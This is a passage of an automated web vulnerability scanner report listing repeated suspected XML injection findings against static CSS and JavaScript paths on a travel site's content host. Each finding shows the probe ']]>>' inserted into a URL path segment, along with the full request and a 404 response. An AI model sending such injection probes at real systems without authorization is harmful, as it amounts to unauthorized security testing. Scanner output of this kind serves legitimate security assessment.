HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:21 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/css/hotel/details/hotelDetailsMapContainerComp.css?ver=219463 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:24 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css]]>>/hotel/details/hotelDetailsMapContainerComp.css?ver=219463 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:29 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/hotel]]>>/details/hotelDetailsMapContainerComp.css?ver=219463 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:31 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/hotel/details]]>>/hotelDetailsMapContainerComp.css?ver=219463 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:34 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 6 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 6. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/hotel/details/hotelDetailsMapContainerComp.css]]>>?ver=219463 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:37 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/css/hotel/details/hotelDetailsPrint.css?ver=209738 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535960 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/css/hotel/details/hotelDetailsPrint.css?ver=209738 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:00 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css]]>>/hotel/details/hotelDetailsPrint.css?ver=209738 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/hotel]]>>/details/hotelDetailsPrint.css?ver=209738 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:09 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/hotel/details]]>>/hotelDetailsPrint.css?ver=209738 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535997 Date: Mon, 03 Oct 2011 01:02:14 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 6 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 6. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/hotel/details/hotelDetailsPrint.css]]>>?ver=209738 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535998 Date: Mon, 03 Oct 2011 01:02:18 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/javascript/car/CarAddOnComp.js?ver=186632 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:01 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/javascript/car/CarAddOnComp.js?ver=186632 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535967 Date: Mon, 03 Oct 2011 01:02:06 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript]]>>/car/CarAddOnComp.js?ver=186632 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:10 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript/car]]>>/CarAddOnComp.js?ver=186632 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:14 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript/car/CarAddOnComp.js]]>>?ver=186632 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:17 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/javascript/core/comp/HwTilesComp.js?ver=185918 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/javascript/core/comp/HwTilesComp.js?ver=185918 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript]]>>/core/comp/HwTilesComp.js?ver=185918 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript/core]]>>/comp/HwTilesComp.js?ver=185918 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:07 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
